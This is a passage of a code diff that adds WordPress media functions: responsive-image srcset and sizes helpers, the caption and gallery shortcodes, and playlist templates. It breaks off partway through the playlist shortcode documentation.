+		absint( $image[2] )
+	);
+
+	return wp_calculate_image_srcset( $size_array, $image_src, $image_meta, $attachment_id );
+}
+
+/**
+ * A helper function to calculate the image sources to include in a 'srcset' attribute.
+ *
+ * @since 4.4.0
+ *
+ * @param array  $size_array    Array of width and height values in pixels (in that order).
+ * @param string $image_src     The 'src' of the image.
+ * @param array  $image_meta    The image meta data as returned by 'wp_get_attachment_metadata()'.
+ * @param int    $attachment_id Optional. The image attachment ID to pass to the filter. Default 0.
+ * @return string|bool          The 'srcset' attribute value. False on error or when only one source exists.
+ */
+function wp_calculate_image_srcset( $size_array, $image_src, $image_meta, $attachment_id = 0 ) {
+	/**
+	 * Let plugins pre-filter the image meta to be able to fix inconsistencies in the stored data.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param array  $image_meta    The image meta data as returned by 'wp_get_attachment_metadata()'.
+	 * @param array  $size_array    Array of width and height values in pixels (in that order).
+	 * @param string $image_src     The 'src' of the image.
+	 * @param int    $attachment_id The image attachment ID or 0 if not supplied.
+	 */
+	$image_meta = apply_filters( 'wp_calculate_image_srcset_meta', $image_meta, $size_array, $image_src, $attachment_id );
+
+	if ( empty( $image_meta['sizes'] ) || ! isset( $image_meta['file'] ) || strlen( $image_meta['file'] ) < 4 ) {
+		return false;
+	}
+
+	$image_sizes = $image_meta['sizes'];
+
+	// Get the width and height of the image.
+	$image_width = (int) $size_array[0];
+	$image_height = (int) $size_array[1];
+
+	// Bail early if error/no width.
+	if ( $image_width < 1 ) {
+		return false;
+	}
+
+	$image_basename = wp_basename( $image_meta['file'] );
+
+	/*
+	 * WordPress flattens animated GIFs into one frame when generating intermediate sizes.
+	 * To avoid hiding animation in user content, if src is a full size GIF, a srcset attribute is not generated.
+	 * If src is an intermediate size GIF, the full size is excluded from srcset to keep a flattened GIF from becoming animated.
+	 */
+	if ( ! isset( $image_sizes['thumbnail']['mime-type'] ) || 'image/gif' !== $image_sizes['thumbnail']['mime-type'] ) {
+		$image_sizes[] = array(
+			'width'  => $image_meta['width'],
+			'height' => $image_meta['height'],
+			'file'   => $image_basename,
+		);
+	} elseif ( strpos( $image_src, $image_meta['file'] ) ) {
+		return false;
+	}
+
+	// Retrieve the uploads sub-directory from the full size image.
+	$dirname = _wp_get_attachment_relative_path( $image_meta['file'] );
+
+	if ( $dirname ) {
+		$dirname = trailingslashit( $dirname );
+	}
+
+	$upload_dir = wp_get_upload_dir();
+	$image_baseurl = trailingslashit( $upload_dir['baseurl'] ) . $dirname;
+
+	/*
+	 * If currently on HTTPS, prefer HTTPS URLs when we know they're supported by the domain
+	 * (which is to say, when they share the domain name of the current request).
+	 */
+	if ( is_ssl() && 'https' !== substr( $image_baseurl, 0, 5 ) && parse_url( $image_baseurl, PHP_URL_HOST ) === $_SERVER['HTTP_HOST'] ) {
+		$image_baseurl = set_url_scheme( $image_baseurl, 'https' );
+	}
+
+	/*
+	 * Images that have been edited in WordPress after being uploaded will
+	 * contain a unique hash. Look for that hash and use it later to filter
+	 * out images that are leftovers from previous versions.
+	 */
+	$image_edited = preg_match( '/-e[0-9]{13}/', wp_basename( $image_src ), $image_edit_hash );
+
+	/**
+	 * Filters the maximum image width to be included in a 'srcset' attribute.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param int   $max_width  The maximum image width to be included in the 'srcset'. Default '1600'.
+	 * @param array $size_array Array of width and height values in pixels (in that order).
+	 */
+	$max_srcset_image_width = apply_filters( 'max_srcset_image_width', 1600, $size_array );
+
+	// Array to hold URL candidates.
+	$sources = array();
+
+	/**
+	 * To make sure the ID matches our image src, we will check to see if any sizes in our attachment
+	 * meta match our $image_src. If no matches are found we don't return a srcset to avoid serving
+	 * an incorrect image. See #35045.
+	 */
+	$src_matched = false;
+
+	/*
+	 * Loop through available images. Only use images that are resized
+	 * versions of the same edit.
+	 */
+	foreach ( $image_sizes as $image ) {
+		$is_src = false;
+
+		// Check if image meta isn't corrupted.
+		if ( ! is_array( $image ) ) {
+			continue;
+		}
+
+		// If the file name is part of the `src`, we've confirmed a match.
+		if ( ! $src_matched && false !== strpos( $image_src, $dirname . $image['file'] ) ) {
+			$src_matched = $is_src = true;
+		}
+
+		// Filter out images that are from previous edits.
+		if ( $image_edited && ! strpos( $image['file'], $image_edit_hash[0] ) ) {
+			continue;
+		}
+
+		/*
+		 * Filters out images that are wider than '$max_srcset_image_width' unless
+		 * that file is in the 'src' attribute.
+		 */
+		if ( $max_srcset_image_width && $image['width'] > $max_srcset_image_width && ! $is_src ) {
+			continue;
+		}
+
+		// If the image dimensions are within 1px of the expected size, use it.
+		if ( wp_image_matches_ratio( $image_width, $image_height, $image['width'], $image['height'] ) ) {
+			// Add the URL, descriptor, and value to the sources array to be returned.
+			$source = array(
+				'url'        => $image_baseurl . $image['file'],
+				'descriptor' => 'w',
+				'value'      => $image['width'],
+			);
+
+			// The 'src' image has to be the first in the 'srcset', because of a bug in iOS8. See #35030.
+			if ( $is_src ) {
+				$sources = array( $image['width'] => $source ) + $sources;
+			} else {
+				$sources[ $image['width'] ] = $source;
+			}
+		}
+	}
+
+	/**
+	 * Filters an image's 'srcset' sources.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array  $sources {
+	 *     One or more arrays of source data to include in the 'srcset'.
+	 *
+	 *     @type array $width {
+	 *         @type string $url        The URL of an image source.
+	 *         @type string $descriptor The descriptor type used in the image candidate string,
+	 *                                  either 'w' or 'x'.
+	 *         @type int    $value      The source width if paired with a 'w' descriptor, or a
+	 *                                  pixel density value if paired with an 'x' descriptor.
+	 *     }
+	 * }
+	 * @param array  $size_array    Array of width and height values in pixels (in that order).
+	 * @param string $image_src     The 'src' of the image.
+	 * @param array  $image_meta    The image meta data as returned by 'wp_get_attachment_metadata()'.
+	 * @param int    $attachment_id Image attachment ID or 0.
+	 */
+	$sources = apply_filters( 'wp_calculate_image_srcset', $sources, $size_array, $image_src, $image_meta, $attachment_id );
+
+	// Only return a 'srcset' value if there is more than one source.
+	if ( ! $src_matched || ! is_array( $sources ) || count( $sources ) < 2 ) {
+		return false;
+	}
+
+	$srcset = '';
+
+	foreach ( $sources as $source ) {
+		$srcset .= str_replace( ' ', '%20', $source['url'] ) . ' ' . $source['value'] . $source['descriptor'] . ', ';
+	}
+
+	return rtrim( $srcset, ', ' );
+}
+
+/**
+ * Retrieves the value for an image attachment's 'sizes' attribute.
+ *
+ * @since 4.4.0
+ *
+ * @see wp_calculate_image_sizes()
+ *
+ * @param int          $attachment_id Image attachment ID.
+ * @param array|string $size          Optional. Image size. Accepts any valid image size, or an array of width
+ *                                    and height values in pixels (in that order). Default 'medium'.
+ * @param array        $image_meta    Optional. The image meta data as returned by 'wp_get_attachment_metadata()'.
+ *                                    Default null.
+ * @return string|bool A valid source size value for use in a 'sizes' attribute or false.
+ */
+function wp_get_attachment_image_sizes( $attachment_id, $size = 'medium', $image_meta = null ) {
+	if ( ! $image = wp_get_attachment_image_src( $attachment_id, $size ) ) {
+		return false;
+	}
+
+	if ( ! is_array( $image_meta ) ) {
+		$image_meta = wp_get_attachment_metadata( $attachment_id );
+	}
+
+	$image_src = $image[0];
+	$size_array = array(
+		absint( $image[1] ),
+		absint( $image[2] )
+	);
+
+	return wp_calculate_image_sizes( $size_array, $image_src, $image_meta, $attachment_id );
+}
+
+/**
+ * Creates a 'sizes' attribute value for an image.
+ *
+ * @since 4.4.0
+ *
+ * @param array|string $size          Image size to retrieve. Accepts any valid image size, or an array
+ *                                    of width and height values in pixels (in that order). Default 'medium'.
+ * @param string       $image_src     Optional. The URL to the image file. Default null.
+ * @param array        $image_meta    Optional. The image meta data as returned by 'wp_get_attachment_metadata()'.
+ *                                    Default null.
+ * @param int          $attachment_id Optional. Image attachment ID. Either `$image_meta` or `$attachment_id`
+ *                                    is needed when using the image size name as argument for `$size`. Default 0.
+ * @return string|bool A valid source size value for use in a 'sizes' attribute or false.
+ */
+function wp_calculate_image_sizes( $size, $image_src = null, $image_meta = null, $attachment_id = 0 ) {
+	$width = 0;
+
+	if ( is_array( $size ) ) {
+		$width = absint( $size[0] );
+	} elseif ( is_string( $size ) ) {
+		if ( ! $image_meta && $attachment_id ) {
+			$image_meta = wp_get_attachment_metadata( $attachment_id );
+		}
+
+		if ( is_array( $image_meta ) ) {
+			$size_array = _wp_get_image_size_from_meta( $size, $image_meta );
+			if ( $size_array ) {
+				$width = absint( $size_array[0] );
+			}
+		}
+	}
+
+	if ( ! $width ) {
+		return false;
+	}
+
+	// Setup the default 'sizes' attribute.
+	$sizes = sprintf( '(max-width: %1$dpx) 100vw, %1$dpx', $width );
+
+	/**
+	 * Filters the output of 'wp_calculate_image_sizes()'.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string       $sizes         A source size value for use in a 'sizes' attribute.
+	 * @param array|string $size          Requested size. Image size or array of width and height values
+	 *                                    in pixels (in that order).
+	 * @param string|null  $image_src     The URL to the image file or null.
+	 * @param array|null   $image_meta    The image meta data as returned by wp_get_attachment_metadata() or null.
+	 * @param int          $attachment_id Image attachment ID of the original image or 0.
+	 */
+	return apply_filters( 'wp_calculate_image_sizes', $sizes, $size, $image_src, $image_meta, $attachment_id );
+}
+
+/**
+ * Filters 'img' elements in post content to add 'srcset' and 'sizes' attributes.
+ *
+ * @since 4.4.0
+ *
+ * @see wp_image_add_srcset_and_sizes()
+ *
+ * @param string $content The raw post content to be filtered.
+ * @return string Converted content with 'srcset' and 'sizes' attributes added to images.
+ */
+function wp_make_content_images_responsive( $content ) {
+	if ( ! preg_match_all( '/<img [^>]+>/', $content, $matches ) ) {
+		return $content;
+	}
+
+	$selected_images = $attachment_ids = array();
+
+	foreach( $matches[0] as $image ) {
+		if ( false === strpos( $image, ' srcset=' ) && preg_match( '/wp-image-([0-9]+)/i', $image, $class_id ) &&
+			( $attachment_id = absint( $class_id[1] ) ) ) {
+
+			/*
+			 * If exactly the same image tag is used more than once, overwrite it.
+			 * All identical tags will be replaced later with 'str_replace()'.
+			 */
+			$selected_images[ $image ] = $attachment_id;
+			// Overwrite the ID when the same image is included more than once.
+			$attachment_ids[ $attachment_id ] = true;
+		}
+	}
+
+	if ( count( $attachment_ids ) > 1 ) {
+		/*
+		 * Warm the object cache with post and meta information for all found
+		 * images to avoid making individual database calls.
+		 */
+		_prime_post_caches( array_keys( $attachment_ids ), false, true );
+	}
+
+	foreach ( $selected_images as $image => $attachment_id ) {
+		$image_meta = wp_get_attachment_metadata( $attachment_id );
+		$content = str_replace( $image, wp_image_add_srcset_and_sizes( $image, $image_meta, $attachment_id ), $content );
+	}
+
+	return $content;
+}
+
+/**
+ * Adds 'srcset' and 'sizes' attributes to an existing 'img' element.
+ *
+ * @since 4.4.0
+ *
+ * @see wp_calculate_image_srcset()
+ * @see wp_calculate_image_sizes()
+ *
+ * @param string $image         An HTML 'img' element to be filtered.
+ * @param array  $image_meta    The image meta data as returned by 'wp_get_attachment_metadata()'.
+ * @param int    $attachment_id Image attachment ID.
+ * @return string Converted 'img' element with 'srcset' and 'sizes' attributes added.
+ */
+function wp_image_add_srcset_and_sizes( $image, $image_meta, $attachment_id ) {
+	// Ensure the image meta exists.
+	if ( empty( $image_meta['sizes'] ) ) {
+		return $image;
+	}
+
+	$image_src = preg_match( '/src="([^"]+)"/', $image, $match_src ) ? $match_src[1] : '';
+	list( $image_src ) = explode( '?', $image_src );
+
+	// Return early if we couldn't get the image source.
+	if ( ! $image_src ) {
+		return $image;
+	}
+
+	// Bail early if an image has been inserted and later edited.
+	if ( preg_match( '/-e[0-9]{13}/', $image_meta['file'], $img_edit_hash ) &&
+		strpos( wp_basename( $image_src ), $img_edit_hash[0] ) === false ) {
+
+		return $image;
+	}
+
+	$width  = preg_match( '/ width="([0-9]+)"/',  $image, $match_width  ) ? (int) $match_width[1]  : 0;
+	$height = preg_match( '/ height="([0-9]+)"/', $image, $match_height ) ? (int) $match_height[1] : 0;
+
+	if ( ! $width || ! $height ) {
+		/*
+		 * If attempts to parse the size value failed, attempt to use the image meta data to match
+		 * the image file name from 'src' against the available sizes for an attachment.
+		 */
+		$image_filename = wp_basename( $image_src );
+
+		if ( $image_filename === wp_basename( $image_meta['file'] ) ) {
+			$width = (int) $image_meta['width'];
+			$height = (int) $image_meta['height'];
+		} else {
+			foreach( $image_meta['sizes'] as $image_size_data ) {
+				if ( $image_filename === $image_size_data['file'] ) {
+					$width = (int) $image_size_data['width'];
+					$height = (int) $image_size_data['height'];
+					break;
+				}
+			}
+		}
+	}
+
+	if ( ! $width || ! $height ) {
+		return $image;
+	}
+
+	$size_array = array( $width, $height );
+	$srcset = wp_calculate_image_srcset( $size_array, $image_src, $image_meta, $attachment_id );
+
+	if ( $srcset ) {
+		// Check if there is already a 'sizes' attribute.
+		$sizes = strpos( $image, ' sizes=' );
+
+		if ( ! $sizes ) {
+			$sizes = wp_calculate_image_sizes( $size_array, $image_src, $image_meta, $attachment_id );
+		}
+	}
+
+	if ( $srcset && $sizes ) {
+		// Format the 'srcset' and 'sizes' string and escape attributes.
+		$attr = sprintf( ' srcset="%s"', esc_attr( $srcset ) );
+
+		if ( is_string( $sizes ) ) {
+			$attr .= sprintf( ' sizes="%s"', esc_attr( $sizes ) );
+		}
+
+		// Add 'srcset' and 'sizes' attributes to the image markup.
+		$image = preg_replace( '/<img ([^>]+?)[\/ ]*>/', '<img $1' . $attr . ' />', $image );
+	}
+
+	return $image;
+}
+
+/**
+ * Adds a 'wp-post-image' class to post thumbnails. Internal use only.
+ *
+ * Uses the {@see 'begin_fetch_post_thumbnail_html'} and {@see 'end_fetch_post_thumbnail_html'}
+ * action hooks to dynamically add/remove itself so as to only filter post thumbnails.
+ *
+ * @ignore
+ * @since 2.9.0
+ *
+ * @param array $attr Thumbnail attributes including src, class, alt, title.
+ * @return array Modified array of attributes including the new 'wp-post-image' class.
+ */
+function _wp_post_thumbnail_class_filter( $attr ) {
+	$attr['class'] .= ' wp-post-image';
+	return $attr;
+}
+
+/**
+ * Adds '_wp_post_thumbnail_class_filter' callback to the 'wp_get_attachment_image_attributes'
+ * filter hook. Internal use only.
+ *
+ * @ignore
+ * @since 2.9.0
+ *
+ * @param array $attr Thumbnail attributes including src, class, alt, title.
+ */
+function _wp_post_thumbnail_class_filter_add( $attr ) {
+	add_filter( 'wp_get_attachment_image_attributes', '_wp_post_thumbnail_class_filter' );
+}
+
+/**
+ * Removes the '_wp_post_thumbnail_class_filter' callback from the 'wp_get_attachment_image_attributes'
+ * filter hook. Internal use only.
+ *
+ * @ignore
+ * @since 2.9.0
+ *
+ * @param array $attr Thumbnail attributes including src, class, alt, title.
+ */
+function _wp_post_thumbnail_class_filter_remove( $attr ) {
+	remove_filter( 'wp_get_attachment_image_attributes', '_wp_post_thumbnail_class_filter' );
+}
+
+add_shortcode('wp_caption', 'img_caption_shortcode');
+add_shortcode('caption', 'img_caption_shortcode');
+
+/**
+ * Builds the Caption shortcode output.
+ *
+ * Allows a plugin to replace the content that would otherwise be returned. The
+ * filter is {@see 'img_caption_shortcode'} and passes an empty string, the attr
+ * parameter and the content parameter values.
+ *
+ * The supported attributes for the shortcode are 'id', 'align', 'width', and
+ * 'caption'.
+ *
+ * @since 2.6.0
+ *
+ * @param array  $attr {
+ *     Attributes of the caption shortcode.
+ *
+ *     @type string $id      ID of the div element for the caption.
+ *     @type string $align   Class name that aligns the caption. Default 'alignnone'. Accepts 'alignleft',
+ *                           'aligncenter', alignright', 'alignnone'.
+ *     @type int    $width   The width of the caption, in pixels.
+ *     @type string $caption The caption text.
+ *     @type string $class   Additional class name(s) added to the caption container.
+ * }
+ * @param string $content Shortcode content.
+ * @return string HTML content to display the caption.
+ */
+function img_caption_shortcode( $attr, $content = null ) {
+	// New-style shortcode with the caption inside the shortcode with the link and image tags.
+	if ( ! isset( $attr['caption'] ) ) {
+		if ( preg_match( '#((?:<a [^>]+>\s*)?<img [^>]+>(?:\s*</a>)?)(.*)#is', $content, $matches ) ) {
+			$content = $matches[1];
+			$attr['caption'] = trim( $matches[2] );
+		}
+	} elseif ( strpos( $attr['caption'], '<' ) !== false ) {
+		$attr['caption'] = wp_kses( $attr['caption'], 'post' );
+	}
+
+	/**
+	 * Filters the default caption shortcode output.
+	 *
+	 * If the filtered output isn't empty, it will be used instead of generating
+	 * the default caption template.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @see img_caption_shortcode()
+	 *
+	 * @param string $output  The caption output. Default empty.
+	 * @param array  $attr    Attributes of the caption shortcode.
+	 * @param string $content The image element, possibly wrapped in a hyperlink.
+	 */
+	$output = apply_filters( 'img_caption_shortcode', '', $attr, $content );
+	if ( $output != '' )
+		return $output;
+
+	$atts = shortcode_atts( array(
+		'id'	  => '',
+		'align'	  => 'alignnone',
+		'width'	  => '',
+		'caption' => '',
+		'class'   => '',
+	), $attr, 'caption' );
+
+	$atts['width'] = (int) $atts['width'];
+	if ( $atts['width'] < 1 || empty( $atts['caption'] ) )
+		return $content;
+
+	if ( ! empty( $atts['id'] ) )
+		$atts['id'] = 'id="' . esc_attr( sanitize_html_class( $atts['id'] ) ) . '" ';
+
+	$class = trim( 'wp-caption ' . $atts['align'] . ' ' . $atts['class'] );
+
+	$html5 = current_theme_supports( 'html5', 'caption' );
+	// HTML5 captions never added the extra 10px to the image width
+	$width = $html5 ? $atts['width'] : ( 10 + $atts['width'] );
+
+	/**
+	 * Filters the width of an image's caption.
+	 *
+	 * By default, the caption is 10 pixels greater than the width of the image,
+	 * to prevent post content from running up against a floated image.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @see img_caption_shortcode()
+	 *
+	 * @param int    $width    Width of the caption in pixels. To remove this inline style,
+	 *                         return zero.
+	 * @param array  $atts     Attributes of the caption shortcode.
+	 * @param string $content  The image element, possibly wrapped in a hyperlink.
+	 */
+	$caption_width = apply_filters( 'img_caption_shortcode_width', $width, $atts, $content );
+
+	$style = '';
+	if ( $caption_width ) {
+		$style = 'style="width: ' . (int) $caption_width . 'px" ';
+	}
+
+	if ( $html5 ) {
+		$html = '<figure ' . $atts['id'] . $style . 'class="' . esc_attr( $class ) . '">'
+		. do_shortcode( $content ) . '<figcaption class="wp-caption-text">' . $atts['caption'] . '</figcaption></figure>';
+	} else {
+		$html = '<div ' . $atts['id'] . $style . 'class="' . esc_attr( $class ) . '">'
+		. do_shortcode( $content ) . '<p class="wp-caption-text">' . $atts['caption'] . '</p></div>';
+	}
+
+	return $html;
+}
+
+add_shortcode('gallery', 'gallery_shortcode');
+
+/**
+ * Builds the Gallery shortcode output.
+ *
+ * This implements the functionality of the Gallery Shortcode for displaying
+ * WordPress images on a post.
+ *
+ * @since 2.5.0
+ *
+ * @staticvar int $instance
+ *
+ * @param array $attr {
+ *     Attributes of the gallery shortcode.
+ *
+ *     @type string       $order      Order of the images in the gallery. Default 'ASC'. Accepts 'ASC', 'DESC'.
+ *     @type string       $orderby    The field to use when ordering the images. Default 'menu_order ID'.
+ *                                    Accepts any valid SQL ORDERBY statement.
+ *     @type int          $id         Post ID.
+ *     @type string       $itemtag    HTML tag to use for each image in the gallery.
+ *                                    Default 'dl', or 'figure' when the theme registers HTML5 gallery support.
+ *     @type string       $icontag    HTML tag to use for each image's icon.
+ *                                    Default 'dt', or 'div' when the theme registers HTML5 gallery support.
+ *     @type string       $captiontag HTML tag to use for each image's caption.
+ *                                    Default 'dd', or 'figcaption' when the theme registers HTML5 gallery support.
+ *     @type int          $columns    Number of columns of images to display. Default 3.
+ *     @type string|array $size       Size of the images to display. Accepts any valid image size, or an array of width
+ *                                    and height values in pixels (in that order). Default 'thumbnail'.
+ *     @type string       $ids        A comma-separated list of IDs of attachments to display. Default empty.
+ *     @type string       $include    A comma-separated list of IDs of attachments to include. Default empty.
+ *     @type string       $exclude    A comma-separated list of IDs of attachments to exclude. Default empty.
+ *     @type string       $link       What to link each image to. Default empty (links to the attachment page).
+ *                                    Accepts 'file', 'none'.
+ * }
+ * @return string HTML content to display gallery.
+ */
+function gallery_shortcode( $attr ) {
+	$post = get_post();
+
+	static $instance = 0;
+	$instance++;
+
+	if ( ! empty( $attr['ids'] ) ) {
+		// 'ids' is explicitly ordered, unless you specify otherwise.
+		if ( empty( $attr['orderby'] ) ) {
+			$attr['orderby'] = 'post__in';
+		}
+		$attr['include'] = $attr['ids'];
+	}
+
+	/**
+	 * Filters the default gallery shortcode output.
+	 *
+	 * If the filtered output isn't empty, it will be used instead of generating
+	 * the default gallery template.
+	 *
+	 * @since 2.5.0
+	 * @since 4.2.0 The `$instance` parameter was added.
+	 *
+	 * @see gallery_shortcode()
+	 *
+	 * @param string $output   The gallery output. Default empty.
+	 * @param array  $attr     Attributes of the gallery shortcode.
+	 * @param int    $instance Unique numeric ID of this gallery shortcode instance.
+	 */
+	$output = apply_filters( 'post_gallery', '', $attr, $instance );
+	if ( $output != '' ) {
+		return $output;
+	}
+
+	$html5 = current_theme_supports( 'html5', 'gallery' );
+	$atts = shortcode_atts( array(
+		'order'      => 'ASC',
+		'orderby'    => 'menu_order ID',
+		'id'         => $post ? $post->ID : 0,
+		'itemtag'    => $html5 ? 'figure'     : 'dl',
+		'icontag'    => $html5 ? 'div'        : 'dt',
+		'captiontag' => $html5 ? 'figcaption' : 'dd',
+		'columns'    => 3,
+		'size'       => 'thumbnail',
+		'include'    => '',
+		'exclude'    => '',
+		'link'       => ''
+	), $attr, 'gallery' );
+
+	$id = intval( $atts['id'] );
+
+	if ( ! empty( $atts['include'] ) ) {
+		$_attachments = get_posts( array( 'include' => $atts['include'], 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $atts['order'], 'orderby' => $atts['orderby'] ) );
+
+		$attachments = array();
+		foreach ( $_attachments as $key => $val ) {
+			$attachments[$val->ID] = $_attachments[$key];
+		}
+	} elseif ( ! empty( $atts['exclude'] ) ) {
+		$post_parent_id = $id;
+		$attachments = get_children( array( 'post_parent' => $id, 'exclude' => $atts['exclude'], 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $atts['order'], 'orderby' => $atts['orderby'] ) );
+	} else {
+		$post_parent_id = $id;
+		$attachments = get_children( array( 'post_parent' => $id, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $atts['order'], 'orderby' => $atts['orderby'] ) );
+	}
+
+	if ( ! empty( $post_parent_id ) ) {
+		$post_parent = get_post( $post_parent_id );
+
+		// terminate the shortcode execution if user cannot read the post or password-protected
+		if (
+		( ! is_post_publicly_viewable( $post_parent->ID ) && ! current_user_can( 'read_post', $post_parent->ID ) )
+		|| post_password_required( $post_parent ) ) {
+			return '';
+		}
+	}
+
+	if ( empty( $attachments ) ) {
+		return '';
+	}
+
+	if ( is_feed() ) {
+		$output = "\n";
+		foreach ( $attachments as $att_id => $attachment ) {
+			$output .= wp_get_attachment_link( $att_id, $atts['size'], true ) . "\n";
+		}
+		return $output;
+	}
+
+	$itemtag = tag_escape( $atts['itemtag'] );
+	$captiontag = tag_escape( $atts['captiontag'] );
+	$icontag = tag_escape( $atts['icontag'] );
+	$valid_tags = wp_kses_allowed_html( 'post' );
+	if ( ! isset( $valid_tags[ $itemtag ] ) ) {
+		$itemtag = 'dl';
+	}
+	if ( ! isset( $valid_tags[ $captiontag ] ) ) {
+		$captiontag = 'dd';
+	}
+	if ( ! isset( $valid_tags[ $icontag ] ) ) {
+		$icontag = 'dt';
+	}
+
+	$columns = intval( $atts['columns'] );
+	$itemwidth = $columns > 0 ? floor(100/$columns) : 100;
+	$float = is_rtl() ? 'right' : 'left';
+
+	$selector = "gallery-{$instance}";
+
+	$gallery_style = '';
+
+	/**
+	 * Filters whether to print default gallery styles.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param bool $print Whether to print default gallery styles.
+	 *                    Defaults to false if the theme supports HTML5 galleries.
+	 *                    Otherwise, defaults to true.
+	 */
+	if ( apply_filters( 'use_default_gallery_style', ! $html5 ) ) {
+		$gallery_style = "
+		<style type='text/css'>
+			#{$selector} {
+				margin: auto;
+			}
+			#{$selector} .gallery-item {
+				float: {$float};
+				margin-top: 10px;
+				text-align: center;
+				width: {$itemwidth}%;
+			}
+			#{$selector} img {
+				border: 2px solid #cfcfcf;
+			}
+			#{$selector} .gallery-caption {
+				margin-left: 0;
+			}
+			/* see gallery_shortcode() in wp-includes/media.php */
+		</style>\n\t\t";
+	}
+
+	$size_class = sanitize_html_class( $atts['size'] );
+	$gallery_div = "<div id='$selector' class='gallery galleryid-{$id} gallery-columns-{$columns} gallery-size-{$size_class}'>";
+
+	/**
+	 * Filters the default gallery shortcode CSS styles.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $gallery_style Default CSS styles and opening HTML div container
+	 *                              for the gallery shortcode output.
+	 */
+	$output = apply_filters( 'gallery_style', $gallery_style . $gallery_div );
+
+	$i = 0;
+	foreach ( $attachments as $id => $attachment ) {
+
+		$attr = ( trim( $attachment->post_excerpt ) ) ? array( 'aria-describedby' => "$selector-$id" ) : '';
+		if ( ! empty( $atts['link'] ) && 'file' === $atts['link'] ) {
+			$image_output = wp_get_attachment_link( $id, $atts['size'], false, false, false, $attr );
+		} elseif ( ! empty( $atts['link'] ) && 'none' === $atts['link'] ) {
+			$image_output = wp_get_attachment_image( $id, $atts['size'], false, $attr );
+		} else {
+			$image_output = wp_get_attachment_link( $id, $atts['size'], true, false, false, $attr );
+		}
+		$image_meta  = wp_get_attachment_metadata( $id );
+
+		$orientation = '';
+		if ( isset( $image_meta['height'], $image_meta['width'] ) ) {
+			$orientation = ( $image_meta['height'] > $image_meta['width'] ) ? 'portrait' : 'landscape';
+		}
+		$output .= "<{$itemtag} class='gallery-item'>";
+		$output .= "
+			<{$icontag} class='gallery-icon {$orientation}'>
+				$image_output
+			</{$icontag}>";
+		if ( $captiontag && trim($attachment->post_excerpt) ) {
+			$output .= "
+				<{$captiontag} class='wp-caption-text gallery-caption' id='$selector-$id'>
+				" . wptexturize($attachment->post_excerpt) . "
+				</{$captiontag}>";
+		}
+		$output .= "</{$itemtag}>";
+		if ( ! $html5 && $columns > 0 && ++$i % $columns == 0 ) {
+			$output .= '<br style="clear: both" />';
+		}
+	}
+
+	if ( ! $html5 && $columns > 0 && $i % $columns !== 0 ) {
+		$output .= "
+			<br style='clear: both' />";
+	}
+
+	$output .= "
+		</div>\n";
+
+	return $output;
+}
+
+/**
+ * Outputs the templates used by playlists.
+ *
+ * @since 3.9.0
+ */
+function wp_underscore_playlist_templates() {
+?>
+<script type="text/html" id="tmpl-wp-playlist-current-item">
+	<# if ( data.image ) { #>
+	<img src="{{ data.thumb.src }}" alt="" />
+	<# } #>
+	<div class="wp-playlist-caption">
+		<span class="wp-playlist-item-meta wp-playlist-item-title"><?php
+			/* translators: playlist item title */
+			printf( _x( '&#8220;%s&#8221;', 'playlist item title' ), '{{ data.title }}' );
+		?></span>
+		<# if ( data.meta.album ) { #><span class="wp-playlist-item-meta wp-playlist-item-album">{{ data.meta.album }}</span><# } #>
+		<# if ( data.meta.artist ) { #><span class="wp-playlist-item-meta wp-playlist-item-artist">{{ data.meta.artist }}</span><# } #>
+	</div>
+</script>
+<script type="text/html" id="tmpl-wp-playlist-item">
+	<div class="wp-playlist-item">
+		<a class="wp-playlist-caption" href="{{ data.src }}">
+			{{ data.index ? ( data.index + '. ' ) : '' }}
+			<# if ( data.caption ) { #>
+				{{ data.caption }}
+			<# } else { #>
+				<span class="wp-playlist-item-title"><?php
+					/* translators: playlist item title */
+					printf( _x( '&#8220;%s&#8221;', 'playlist item title' ), '{{{ data.title }}}' );
+				?></span>
+				<# if ( data.artists && data.meta.artist ) { #>
+				<span class="wp-playlist-item-artist"> &mdash; {{ data.meta.artist }}</span>
+				<# } #>
+			<# } #>
+		</a>
+		<# if ( data.meta.length_formatted ) { #>
+		<div class="wp-playlist-item-length">{{ data.meta.length_formatted }}</div>
+		<# } #>
+	</div>
+</script>
+<?php
+}
+
+/**
+ * Outputs and enqueue default scripts and styles for playlists.
+ *
+ * @since 3.9.0
+ *
+ * @param string $type Type of playlist. Accepts 'audio' or 'video'.
+ */
+function wp_playlist_scripts( $type ) {
+	wp_enqueue_style( 'wp-mediaelement' );
+	wp_enqueue_script( 'wp-playlist' );
+?>
+<!--[if lt IE 9]><script>document.createElement('<?php echo esc_js( $type ) ?>');</script><![endif]-->
+<?php
+	add_action( 'wp_footer', 'wp_underscore_playlist_templates', 0 );
+	add_action( 'admin_footer', 'wp_underscore_playlist_templates', 0 );
+}
+
+/**
+ * Builds the Playlist shortcode output.
+ *
+ * This implements the functionality of the playlist shortcode for displaying
+ * a collection of WordPress audio or video files in a post.
+ *
+ * @since 3.9.0
+ *
+ * @global int $content_width
+ * @staticvar int $instance
+ *
+ * @param array $attr {
+ *     Array of default playlist attributes.
+ *
+ *     @type string  $type         Type of playlist to display. Accepts 'audio' or 'video'. Default 'audio'.
+ *     @type string  $order        Designates ascending or descending order of items in the playlist.
+ *                                 Accepts 'ASC', 'DESC'. Default 'ASC'.
+ *     @type string  $orderby      Any column, or columns, to sort the playlist. If $ids are
+ *                                 passed, this defaults to the order of the $ids array ('post__in').
+ *                                 Otherwise default is 'menu_order ID'.
+ *     @type int     $id           If an explicit $ids array is not present, this parameter
+ *                                 will determine which attachments are used for the playlist.
+ *                                 Default is the current post ID.
+ *     @type array   $ids          Create a playlist out of these explicit attachment IDs. If empty,
+ *                                 a playlist will be created from all $type attachments of $id.
+ *                                 Default empty.
+ *     @type array   $exclude      List of specific attachment IDs to exclude from the playlist. Default empty.
+ *     @type string  $style        Playlist style to use. Accepts 'light' or 'dark'. Default 'light'.
+ *     @type bool    $tracklist    Whether to show or hide the playlist. Default true.
